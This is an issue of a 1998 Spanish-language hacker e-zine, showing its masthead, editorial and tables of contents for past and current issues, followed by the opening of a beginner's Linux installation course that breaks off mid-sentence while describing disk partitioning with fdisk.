ÉÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ» ³ ÚÄÄÄÄÄÄ¿ ³ ³ ³ÛÛÛÛÛÛ³ ³ ³ ÚÄÄÄÄÄÄ´ÛÛÚÄÄÄÙ ³ ³ ÚÄÄÄÄÄÄ´ÛÛÛÛÛÛ³ÛÛÀÄ¿ ³ ³ ³ÛÛÛÛÛÛÃÄ¿ÛÛÚÄ´ÛÛÛÛ³ ³ ³ ÀÄ¿ÛÛÚÄÁ¿³ÛÛ³J³ÛÛÚÄÙ ³ ³ ÚÄÄ¿³ÛÛ³ÛÛÀÙÛÛ³J³ÛÛ³ ³ ³ ³ÛÛÀÙÛÛ³ÛÛÛÛÛÛ³FÃÄÄÙ ³ ³ ³ÛÛÛÛÛÛÃÄÄÄÄÄÄÁÄÙ ³ ³ ÀÄÄÄÄÄÄÙ ³ ³ H A C K E R S T E A M ³ ³ J O U R N A L ³ ÌÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĹ ³ VOL. #2, N§6, 1998. ³ ÈÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄļ "The most important design issue... is the fact that Linux is supposed to be fun..." Linus Torvalds. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Nota: - J.J.F. / HACKERS TEAM - no se hace responsable del mal uso de la informacion aqui expuesta y tampoco tiene que estar de acuerdo con lo que sus colaboradores opinen. Tampoco esperamos que la gente use la informacion aqui expuesta para hacer da¤o ya que tan solo es con fines didacticos. Recomendado el uso del editor del MS-DOS. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= #CURRENT MEMBERS : - CONDE VAMPIRO - CODER H/P/V EDITOR - MAC CRACK - CODER C WEBMASTER - Mr ELEKTRO - H/P ADMIN - SILENT MOTION - CODER H/P ADMIN - JUMPKNOWN - CODER H/P/V/C - TASSLEHOFF - CODER H CO-WEBMASTER #WEB OFICIAL : - http://www.angelfire.com/mi/JJFHackers - http://jjfhackers.home.ml.org - http://jjfhackers.hypermart.net #E-MAIL OFICIAL : - jjf_team@usa.net #LLAVE PGP OFICIAL : -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3ia mQCNAzVzXWwAAAEEALKaPtG7arRh4X0wUz16KP9/A6h4yhS5vcQ1QRx9TM7XV8w6 BcIJjz8AIeldDCO5Jix8R7Sb/FO/Uco0f5Rnpd98ObsHANr9wRDwGqUCWpOGVZ6+ ZhXEyfuDkzVl9MUxEVD1TyH08OGgdgRIKhCuPXY4C7W6Z+M0qVv0AX/CgliNAAUR tCNKSkYgSGFja2VycyBUZWFtIDxqamZfdGVhbUB1c2EubmV0PokAlQMFEDVzXW1b 9AF/woJYjQEBlVwEAKgIdS0VA7qRuXMM7R4DtDcoz7We+vmHr/Mu+SvgsDkWRbBP IHhI5OJxPRfShAvLtUXlGoCA0DuUDxoq4x9j/yDJQvhBwzPw53uwNWLs6+iI31jk NCyv9h37hSfRTsRLq8hiQ3jqNWQO/i+O+c5RVr5gkSHdZF0lCvWI5NoSFnk0 =Wu00 -----END PGP PUBLIC KEY BLOCK----- #DISTRIBUIDORES OFICIALES DEL E-ZINE : - http://wakanda.islatortuga.com - http://underhack.islatortuga.com - http://www.redestb.es/~cheroky-1 - http://members.xoom.com/baron_rojo/ - http://members.xoom.com/rifoxxx - http://www.geocities.com/Colosseum/Sideline/9497/ #MIEMBRO OFICIAL (web ring) DE : - Black Angels - Spanish Underground Web Ring #COLABORADORES CON ESTE NUMERO : - LeTaL - CORE SDI S.A. - \Wend|g0 - ZeD (HaCk`S-wEb-RiNg) #SALUDOS : - Metalslug (Wakanda) - NeonSurge (Rhino9) - Schoddy Guy (Underhack) - L0pth - Cheroky - Ivan Arce (CORE SDI S.A.) - Silicon Dragon - Proyecto R - Paseante (SET) - Dr Slump (oioio) <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> - INDICE. TITULO AUTOR ÄÄÄÄÄÄÄÄÄÄÄÄ\_______________________________/ÄÄÄÄÄÄÄÄÄÄÄÄ * EDITORIAL ................................ J.J.F. / HACKERS TEAM * INDICE DEL VOLUME N§1 .................... J.J.F. / HACKERS TEAM * CURSO LINUX .............................. LETAL. * HACK BASICO .............................. \WEND|G0. * CURSO DE HACK VI ......................... CONDE VAMPIRO. * CLONANDO MOVILES DEL CCC ................. J.J.F. / HACKERS TEAM * ¨QUE SE PUEDE HACER EN EL IRC? ........... ZED. * PHREACKING PARA NOVATOS .................. ZED. * COMO TRUCAR EL GüINDOWS95 ................ ZED. * ADVERTENCIA DE SEGURIDAD ................. CORE SDI S.A. * EL LECTOR OPINA .......................... VARIOS. * NOTICIAS UNDERGROUND ..................... J.J.F. / HACKERS TEAM <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ------------- ³ EDITORIAL ³ ------------- Pues quien lo diria, que este ezine comienza su segundo volumen y por supuesto nos anima a seguir mejorando no solo el ezine, si no tambien el web y muchas mas cosas que ya os iremos contando, que a lo largo de este a¤o seran muchas. Destacar que empezamos el segundo volumen con muy buena calidad. Una de las cosas a destacar es la bienvenida de nuevos miembros en J.J.F. / HACKERS TEAM, que son los siguientes : Mr. Elektro, Silent Motion, JumpKnown y Tasslehoff. Una peque¤a rese¤a, ya que tenemos mas distribuidores oficiales, en el cual podreis encontrar este ezine y tambien otros, los url's son los siguientes: http://members.xoom.com/rifoxxx y http://www.geocities.com/Colosseum/Sideline/9497/ Bueno, ya se acabo el verano, para algunos mal y para otros bien, como siempre ahi toda clase de opiniones. Desde aqui quiero hacer una peque¤a rese¤a, ¨ me pregunto donde esta toda esa gente que decia que quiere colaborar con articulos. ? Ya que todavia no hemos visto nada de nada, a ver si para futuros numeros vemos vuestros nicks por aqui :) Como ya hemos dicho muchas veces puedes escribir sobre H/C/P/V, seguridad o de cualquier cosa que creas interesante. Por supuesto tambien nos gustaria los puntos de vista de los administradores, agentes de la autoridad y de las grandes corporaciones. Este es un ezine para todos los gustos. Y POR FAVOR!!!!!!!! Si quieres escribir no envies un mail antes dicendo: "Hola, os interesa un articulo de ...", lo que tienes que hacer es ESCRIBIRLO y DESPUES NOS LO ENVIAS, asi de simple, okis!!!! Por una vez en la vida sabemos cuando saldra el numero 7 :), por eso avisamos de antemano para que envieis vuestros articulos. El numero 7 esta fijado para principios de diciembre, por lo que teneis tiempo de sobra. ¨ Porque a principios de diciembre ?, la respuesta en el numero 7 :) Hemos visto que en muchos sitios, tanto en web's como en articulos, la gente no nos nombra correctamente y eso ahi que corregirlo, por lo que hacemos hincapie en que para referiros al grupo lo hagais de la siguiente manera : J.J.F. / HACKERS TEAM, y para referiros al ezine, pues de esta otra: J.J.F. / HACKERS TEAM JOURNAL. Que son las formas correctas :) En este numero hemos sufrido un peque¤o retraso debido a varios factores :) tambien decir que ayer fue el cumple de Conde Vampiro (21/9) y el jueves es el de Tasslehoff (24/9) por lo que este semana estamos de fiesta :))) Dentro de una semana, podreis encontrar en nuestro website varias fotos de nuestras aventuras nocturnas que seguro que os encantaran, por otro lado, AVISO A LOS DISTRUIBUIDORES OFICIALES: decir que hemos puesto 2 logos que cualquiera que distribuya nuestro ezine le rogamos que ponga en su website y ademas nos envie su url para ponerlo en el ezine. Desde aqui, - J.J.F. / HACKERS TEAM -, mandamos un apoyo a SET por los problemas sufridos, referente a unos logs de un determinado kanal de IRC de la red Hispanos y que sigan tirando para adelante :) Desde aqui damos las gracias al se¤or Ivan Arce, por dejanos publicar los avisos de la empresa CORE, al igual que tambien queremos anunciaros, para los que no lo sepan, la mejor lista de seguridad en castellano que se puede encontrar, la cual el se¤or Arce es el moderador y para suscribirse haced lo siguiente, enviar mail a majordomo@secnet.com con el texto "subscribe seg-l [su-email]" en el cuerpo del mensaje y ya estareis suscritos. Tambien damos las gracias a los se¤ores Sergi Bueno y Javier Pedreira "Wicho" de las revistas EN LA RED e IWORLD, respectivamente, por dejarnos expresar nuestras opiniones y poder colaborar. Durante este a¤o hemos salido en las siguientes revistas : - EN LA RED, 2.03. - IWORLD, A¤o II, Numero 7. Julio-Agosto 1998. - Jumping, A¤o IV, 2 Epoca, N¦20, Julio-Agosto 1998. A todos ellos en gran o menor medida gracias. - J.J.F. / HACKERS TEAM - <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÛ ³ º º INDICE DEL VOLUME N§1 ³ ³ º º - J.J.F. / HACKERS TEAM JOURNAL - ³ ³ º ÛÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÛ Pues aqui os recordamos los articulos que han pasado por el Primer Volumen del - J.J.F. / HACKERS TEAM JOURNAL -. A la vez que tambien damos las gracias a todas aquellas personas que han hecho posible este ezine. -> N§1 TITULO AUTOR ------------________________________________--------------- * EDITORIAL ________________________________ J.J.F. / HACKERS TEAM * TECNICAS HACKER __________________________ VANDALS. * CURSO DE HACK I __________________________ CONDE VAMPIRO. * STACK OVERFLOW EXPLOiTS __________________ IPgh0st. * CONFERENCIA DE LA GC EN EL SIMO __________ NOBODY. * TEST HACKER ______________________________ MAC CRACK BISHOP. * NOTICIAS UNDERGROUND _____________________ CONDE VAMPIRO. -> N§2 TITULO AUTOR ÄÄÄÄÄÄÄÄÄÄÄÄ\_______________________________/ÄÄÄÄÄÄÄÄÄÄÄÄ * EDITORIAL ................................ J.J.F. / HACKERS TEAM * IP-SPOOFING DEMISTIFICADO ................ IPgh0st. * LAND ATTACK .............................. NOBODY. * CURSO DE HACK II ......................... CONDE VAMPIRO. * MOVIL DEFECTUOSO ERICSSON GA-628 ......... JSR. * INTRODUCCION AL HACK ..................... VIRUX. * HACKERS HALL OF FAME ..................... BISHO. * NOTICIAS UNDERGROUND ..................... J.J.F. / HACKERS TEAM -> N§3 TITULO AUTOR ÄÄÄÄÄÄÄÄÄÄÄÄ\_______________________________/ÄÄÄÄÄÄÄÄÄÄÄÄ * EDITORIAL ................................ J.J.F. / HACKERS TEAM * MIEDO A LOS ARTICULOS: NO, GRACIAS ....... CONDE VAMPIRO. * QUE ES UN HACKER Y QUE ES UN CRACKER ..... BISHO. * LOS OUTDIALS EN INTERNET ................. NOBODY. * UN LOG DE UN SERVIDOR .................... ANONIMO. * CURSO DE HACK III ........................ CONDE VAMPIRO. * USO DE SAMBA EN LINUX/UNIX COMO SUSTITUTO DEL NBTSTAT .................... ENIF. * ESTADISTICA DE LOS HACKERS EN 1997 ....... J.J.F. / HACKERS TEAM * DOCUMENTO SOBRE LOS PERMISOS DE ARCHIVOS Y DIRECTORIOS PARA SISTEMAS UNIX ......... KOJI. * INTRODUCCION AL HACKING v2.0 I ........... DAEMON. * EL LECTOR OPINA .......................... VARIOS. * NOTICIAS UNDERGROUND ..................... J.J.F. / HACKERS TEAM -> N§4 TITULO AUTOR ÄÄÄÄÄÄÄÄÄÄÄÄ\_______________________________/ÄÄÄÄÄÄÄÄÄÄÄÄ * EDITORIAL ................................ J.J.F. / HACKERS TEAM * HACK WITH JAVA ........................... NOBODY. * UN POKILLO DE PHREAKING .................. DRSLUMP. * CURSO DE HACK IV ......................... CONDE VAMPIRO. * COMO HACKEAR UN TAMATGOTCHI .............. BISHO. * MANIFIESTO DE UN HACKER NOVATO ........... SILICON DRAGON. * INTRODUCCION AL HACKING v2.0 II .......... DAEMON. * EL LECTOR OPINA .......................... VARIOS. * NOTICIAS UNDERGROUND ..................... J.J.F. / HACKERS TEAM -> N§5 TITULO AUTOR ÄÄÄÄÄÄÄÄÄÄÄÄ\_______________________________/ÄÄÄÄÄÄÄÄÄÄÄÄ * EDITORIAL ................................ J.J.F. / HACKERS TEAM * HACK RSH (RESTRICTED SHELL) .............. NOBODY. * HERRAMIENTAS PARA USUARIOS DE LINUX (PARANOICOS?) ............................ CUBIKICE. * CURSO DE HACK V .......................... CONDE VAMPIRO. * COMO CRACKEAR NORTON CRASHGUARD DELUXE 3.0 ............................... ESTADO PORCINO. * UN POCO DE CULTURA: LIBROS ............... MAC CRACK * EL LECTOR OPINA .......................... VARIOS. * NOTICIAS UNDERGROUND ..................... J.J.F. / HACKERS TEAM Y ahora un saludo a las siguientes personas que de alguna forma han participado con - J.J.F. / HACKERS TEAM -. -> Saludos : - VANDALS - IPgh0st (Underhack) - NOBODY - Virux (@pOkalypSYS) - Bisho - Jsr - Metalslug (Wakanda) - Koji - Cesar - Enif (Oioio) - Daemon - Schoddy Guy (Underhack) - DrSlump (OiOiO's Band) - Silicon Dragon - Cheroky - CubikIce - Estado Porcino (WKT) - Paseante (SET) - Profesor Falken (SET) <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> --------------- -< CURSO LINUX >- --------------- INDICE TEMATICO --------------- #CAPITULO I: INTRODUCCION. Linux, la mejor alternativa, caracteristicas. #CAPITULO II : INSTALACION. Requerimientos para la instalacion, Preparacion, Instalacion. #CAPITULO III: KERNEL ¨Que es el Kernel, ¨Para que recompilarlo?, ¨Que se necesita?, Configuracion, Makefile, Compilacion, Instalacion. #CAPITULO IV: USO Conceptos basicos preliminares, Shells, Directorios, comandos basicos. #CAPITULO V: TAREAS Y PROCESOS Control de Tareas, Tareas y procesos, Primer plano y Segundo plano, Envio a segundo plano y eliminacion procesos, Detencion o parada y relanzamiento de tareas. #CAPITULO VI: USUARIOS Administracion de Usuarios. Como agregar un usuario, Como borrar un usuario. #CAPITULO VII: SEGURIDAD BASICA Permisos de Ficheros, Conceptos de permisos de ficheros, Interpretando los permisos de ficheros, Dependencias, Cambiando permisos, Grupos, #GLOSARIO. #Capitulo I Linux, la mejor alternativa. Vamos a hablar un poco acerca de Sistemas Operativos. Mucho Usuarios especialmente los novatos creen que el mundo esta hecho solo de Windows 95 y que el DOS fue su antepasado antediluviano, en realidad Windows 95 es una nueva cara bonita del DOS. Pero la realidad nos dice que no existe un solo S.O. tenemos varias decenas de ellos, por ejemplo antes de DOS fue CPM del que heredamos entre otras cosas los archivos .COM, tambi‚n existen SPARC, OS400, PICK, SYSTEM, OASIS, y una gran variedad de derivados de UNIX, entre ellos SOLARIS, AIX, XENIX, USB, SUN OS y LINUX. La aparicion de W95 a creado adeptos y adversos, pero tambien a dado origen a un debate acerca de los sistemas operativos que creo le hace mucho bien a la informatica. Para contribuir con este debate imaginemonos el Sistema Operativo ideal. Seguramente no todos estaremos de acuerdo en todas las sus caracteristicas pero busquemos por lo menos diez puntos en comun. 1. CODIGO: Si nuestra PC actualmente tiene un microprocesador de 32 bits, el Sistema deber ser "completamente" de 32 bits. Es mas si en el futuro tenemos PCs con procesadores de 64 bits, tambien el S.O. deber estar compilado en 64 bits. Mas aun, seria mejor que el sistema operativo se provea con sus fuentes en el lenguaje mas portable de cuantos existen asi lo podemos compilar en la maquina que se nos antoje. 2. RED: Actualmente se impone cada vez con mayor firmeza el uso de redes ya sean locales, Intranets e Internet. De manera que nuestro sistema operativo deber estar concebido como de red desde sus origenes. Existen muchos sistemas de red, debemos entonces pensar cual es la mejor opcion teniendo en cuanta varios factores, la popularidad, la trayectoria, la compatibilidad, la fiabilidad, etc. Tenemos que tener en cuenta tambien cual es la escala mundial el estandar en Internet. La respuesta es una sola, UNIX. Asi que nuestro S.O. deber estar basado en UNIX. 3. INTEFRCACE CON EL USUARIO: Con la aparicion de las MAC, se impuso un nuevo estandar que luego fue incorporado por casi todos los S.O. Las Interfaces Graficas. De manera que nuestro S.O. tiene que tener una. Es mas seria mejor que tenga muchas y que el usuario pueda elegir si quiere que esta se vea y comporte como Win95, como Solaris, como las no tan populares NEXT, una propia de UNIX como ser MOTIFF, o de muchas otras formas algunas totalmente ineditas y originales. 4. MULTITAREA: El cerebro del hombre es multitarea por naturaleza, asi que la principal extension artificial del mismo (la PC) deber tener un sistema operativo multitarea. Pero multitarea real, de tipo cooperativo, que garantice la posibilidad de ejecucion de todas las aplicaciones activas. 5. MULTIUSUARIO: La PC no es como un cepillo de dientes de uso personal exclusivamente es mas bien como una esponja o cepillo de ba¤o que los usan toda la familia de manera que nuestro S.O. ideal deber tener capacidad de administrar en forma segura la informacion y aplicaciones de cada uno de sus usuarios pudiendo estos tener terminales propias o bien usar una sola maquina. 6. MULTIMEDIA: Nuestro S.O. tendra que soportar todas las capacidades multimedia actuales y las que vendran deberan tener una rapida asimilacion. 7. APLICACIONES: Sin una fuerte biblioteca de aplicaciones un S.O. esta destinado a perecer. De manera que tendremos que contar con una amplisima coleccion de aplicaciones que cubran todos los rubros tales como Graficos, Animaciones, Musica, Autoedicion, Procesamiento de textos, Gestion administrativa y comercial. No nos olvidemos que como el S.O. de suministra con sus fuentes es logico que las aplicaciones tambien lo hagan. Como nos basamos en UNIX podremos aprovechar todo el software desarrollado para esa plataforma. 8. OTRAS PLATAFORMAS: Las aplicaciones de otras plataformas tales como DOS, Windows o Mac, tienen que correr con emuladores. 9. DESARROLLO: Es importante que nuestro S.O. tenga un amplio surtido de compiladores y librerias, tales como C, C++, PASCAL, BASIC, SMALLTALK, EIFFEL, CLIPPER, PERL, FORTRAM, ADA, MODULA 2, ETC. 10. Y como si todo esto fuera poco pidamos que este soportado por un cuerpo de dise¤adores y programadores expertos de todo el mundo. 11. Una de yapa. Que todo absolutamente todo sea GRATIS. ¨Que tal? No parece un sue¤o llegar a contar algun dia con un S.O. como este. Pero este sue¤o no es mio, esta quimera le pertenece a un finlandes llamado Linus Torvalds y fue precisamente el quien dio los primero pasos para hacerlo realidad y asi nace LINUX un S.O. con mayusculas que no tiene nada que envidiarle a nadie. Actualmente en cualquier casa de venta de Shareware se los puede conseguir al precio que solo cubre los gastos de distribucion, por ejemplo tenemos paquetes que cuentan con Cuatro o Cinco Distribuciones distintas ademas una completa recopilacion de aplicaciones compiladores y librerias a menos de $30 en 6 o mas CDs. Tambien esta disponible en Internet en todas sus distribuciones. Son de recomendar las paginas WWW.LINUX.ORG, WWW.SUNSITE.UNC.EDU. Caracteristicas de Linux * Multitarea real: La multitarea es una virtud codiciada por muchos SS.OO. pero lograda por muy pocos, casi todos los SS.OO. que dicen ser multitarea lo son a medias ya que usan el concepto de Multitarea Cooperativa que cede el microprocesador a otros procesos (aplicaciones) solo cuando la aplicacion que se encuentra en primer plano cede el tiempo de ejecucion y recursos, en cambio la multitarea preferente que usa Linux administra los recursos garantizados que todos los procesos en ejecucion incluidos los que corren en background tengan su tiempo de procesador. * Multiusuario: Dado que como ya vimos Linux es un S.O. multitarea es de esperar que tambien sea Multiusuario, es decir que permita que personas distintas puedan acceder a su potencial compartiendo los recursos que el Administrador del Sistema (SysOp, root) le asigne de acuerdo a su jerarquia, dandole ademas a cada uno la privacidad y proteccion necesaria. Cada usuario tendra asignado un espacio de disco, aplicaciones, Shells, impresoras, etc. lo que junto a la ID (nombre con que el usuario se registra) y el password (palabra clave) se denomina Cuentas de Usuarios, en el momento en que un usuario desde una terminal remota entra en el sistema (login) se dice que comienza una sesion es decir que el micro le garantiza recursos y tiempo de microprocesador. * G.N.U.: Si bien Linus Torvalds es el titular del derecho de autor de LINUX, todo, incluido el kernel con sus fuentes estan bajo licencia GNU. Esta licencia permite que todos el software desarrollado bajo este concepto sea de libre distribucion ofreciendo asi al publico en general software de calidad sin que los programadores pierdan sus derechos de autor dejando abierta la posibilidad que cualquier otro programador pueda ampliar o modificar el programa. * Librerias Compartidas: Gracias a esta caracteristicas no es necesario que las rutinas contenidas en librerias estandar se carguen mas de una ves en memoria, ya que cualquier programa que se encuentre en tiempo de ejecucion puede acceder a ellas, de esta manera los binarios (ejecutables) de Linux son de menor tama¤o permitiendo ahorrar espacio en disco y memoria. * Carga por Demanda: En la mayoria de los SS.OO. Cada nuevo proceso (aplicaci¢n) que se lanza demanda memoria y recursos, pero cuando se termina la RAM automaticamente se comienza a hacer uso de la memoria virtual, esto no ocurre en Linux puesto que su administracion inteligente de memoria pasa a memoria virtual cualquier proceso que se encuentre activo pero no en uso garantizando de esta manera RAM para la aplicaciones activas y en uso. * Administracion de Memoria: Todos los procesos tienen garantizada una zona protegida de memoria para su ejecucion, sin que el mal funcionamiento de una aplicacion cuelgue a todo el equipo. * Redes TCP/IP: Para conectarse a Internet por ejemplo en Windows necesitamos instalar el protocolo TCP/IP. Esto no ocurre en Linux ya que al ser TCP un protocolo propio de los sistemas UNIX luego heredado por Linux contamos directamente con el en el kernel, incluso la aparici¢n de Java no paso inadvertida para Linux de manera que fue inmediatamente absorbida y ya se cuenta con soporte tanto para JavaScripts como para applets Java los cuales se pueden ejecutar como software nativo al estar incluido en el Kernel. * Aplicaciones: Gracias a la licencia GNU el caudal de aplicaciones disponibles para Linux crece a un ritmo vertiginoso especialmente en Internet. Podemos decir que existe software para practicamente todas las necesidades. La unica limitacion para los usuarios de habla hispana es el idioma ya que es muy dificil encontrar software traducido o de origen latino para Linux. * Desarrollo: Linux es un S.O. echo y pensado por programadores para programadores, a partir de esto podemos encontrar compiladores o interpretes para todos los lenguajes existentes. Algunos ejemplos son los siguientes: C (propio de los sistemas UNIX), C++, ADA, PASCAL, PERL, MODULA 2, FORTRAN, PHYTON, EIFFEL, BASIC, RPG, SMALLTALK, COBOL, ASSEMBLER, OBERON, ETC. #Capitulo II Requerimientos de hardware para la instalacion * CPU: Su computadora debe tener un procesador 386, 486, Pentium, o Pentium Pro, o uno de los clones de estos procesadores hechos por fabricantes como Cyrix, AMD, TI, IBM, etc. Si su procesador tiene letras como "sx", "sl", "slc", etc. despues del numero, como en "386sx", es correcto. El sistema no funcionar en un 286 o en procesadores inferiores. * Bus de E/S: Su computadora debe utilizar el bus ISA, EISA, PCI, o VL. El bus VL se conoce tambien como VESA Local Bus o VLB. Las computadoras que tienen PCI o VLB generalmente tienen tambien ranuras ISA o EISA. * RAM y Disco Rigido: Debe tener al menos 4MB de RAM aunque es recomendable no menos de 16MB y 40MB de disco duro, pero si usted quiere instalarlo todo necesitar 300MB o mas. Las interfaces de disco que emulan la interfaz de disco "AT" que se llaman habitualmente MFM, RLL, IDE, o ATA estan soportados. Las controladoras de disco SCSI de diversos fabricantes estan soportadas. * Unidad de disquete: Debe tener una unidad de disquete de 1.2MB o 1.44MB como unidad a: en el sistema en el que instale Linux. Si tiene tanto una unidad de 1.2MB como una de 1.44MB, configure el hardware para que la unidad de 1.44MB sea la a:. * MPC: Como casi todas las distribuciones de Linux vienen en CD-ROM necesitaremos una lectora que puede ser IDE, SCSI o con norma propia como alguna Creative o Mitusmi. * Placa de video: Aunque soporta desde una hercules, es recomendable usar una placa de video compatible con VGA para el terminal de la consola. Practicamente cualquier tarjeta grafica moderna es compatible con VGA. CGA, MDA, o HGA pueden funcionar correctamente para texto, pero no funcionar con el Xwindows. * Otro Hardware: Linux soporta una gran variedad de dispositivos como son: ratones, impresoras, escaners, modems, tarjetas de red, etc. Sin embargo, no se requiere ninguno de estos dispositivos durante la instalacion del sistema. Preparacion: Antes de comenzar, asegurese de que realiza una copia de seguridad de todos los ficheros que hay en su sistema. Informacion que necesitar : * Norma del CD-ROM * Norma del HD * Especificaciones de su placa de RED (Modelo, Puerto E/S, IRQ) * Especificaciones de su raton, modem, teclado, zona horaria. * Frecuencia de barrido horizontal y vertical de su monitor, marca, modelo, chipset, RAM y clocks de su placa de video. * Tipo de servidor grafico segun su placa de video. * El nombre de la maquina (posiblemente pueda decidir esto por su cuenta). * El nombre del dominio. * La direccion IP de su computadora. * La mascara de red (netmask) que ha de usarse con su red. * La direccion IP de su red. * La direccion de difusion (broadcast) que ha de usar en su red. * La direccion IP de la pasarela (gateway) del sistema por omision hacia la cual hay que encaminarse, si su red tiene una pasarela. * El sistema de su red que debe usar como servidor DNS (`Domain Name Server', servidor de nombres de dominio). Antes de proceder a la instalacion en si, debemos realizar una serie de preparativos en nuestro equipo Preparacion del HD. Si no ha particionado aun su rigido para Linux y memoria virtual deber recurrir a la aplicacion shareware FIPS que encontrara en cualquier distribucion de Linux, pero antes de usarla asegurese de que desfragmento su HD. FIPS le permitir ahora particionar su rigido sin que pierda la informacion contenida. Dejaremos de esta manera suficientes megas libres de su HD para luego cuando la instalacion lo requiera creemos las nuevas particiones con "fdisk", al menos una particion Nativa Linux y una particion de intercambio para Linux, la particion de intercambio se utilizar para suministrar memoria virtual al sistema, y debe tener un tama¤o entre 16 y 128 megabytes, dependiendo de cuanto espacio de disco tenga usted y cuantos programas grandes quiera ejecutar. Linux no usar mas de 128 megabytes de intercambio, asi que no hay razon para hacer su particion de intercambio mayor que eso. Se recomienda el uso de una particion de intercambio sea cual fuere su RAM, y si su sistema tiene mas de 16 megabytes de RAM lo recomendable para un uso promedio del sistema es usar la mitad de RAM real como memoria de intercambio. La particion "Linux" contendra todos sus ficheros, y puede hacerla de cualquier tama¤o entre 40 megabytes y el tama¤o maximo del disco, menos el tama¤o de la particion de intercambio. Si usted esta familiarizado con Unix o Linux, puede querer crear particiones adicionales, por ejemplo, puede crear particiones que contendran los sistemas de ficheros /var, y /usr. Si ya tenemos listo el Disco Rigido y la informacion necesaria podemos proceder a la instalacion para ello necesitaremos que la PC encendida con DOS y con acceso al CD-ROM con el CD de Red Hat colocado. 1. Ingresar al directorio DOSUTILS 2. Ejecutar DOSBOOT.BAT el que se encarga de llamar a "LOADLIN.EXE" que es un programa DOS que carga una imagen del Kernel en RAM borrando todo vestigio del DOS. 3. Luego del Booteo, Linux entra automaticamente en una aplicacion que no es otra cosa que un asistente para la instalacion. A el deberemos contestar las preguntas que nos vaya haciendo de acuerdo a la informacion que recopilamos. 4. Tambien el asistente se encargara de preguntar acerca del nuestro HD dandonos la posibilidad de ejecutar "fdisk" a fin de particionar nuestro rigido, el uso de fdisk es sencillo a pesar de ser mucho mas poderoso que el de DOS y Windows basta decir que con "m" accedemos a la ayuda del mismo, lo que hora debemos hacer es: a) crear la particion SWAP con por lo menos la mitad de la RAM real, para ello usaremos la opcion "n" y luego de decirle el numero de particion le 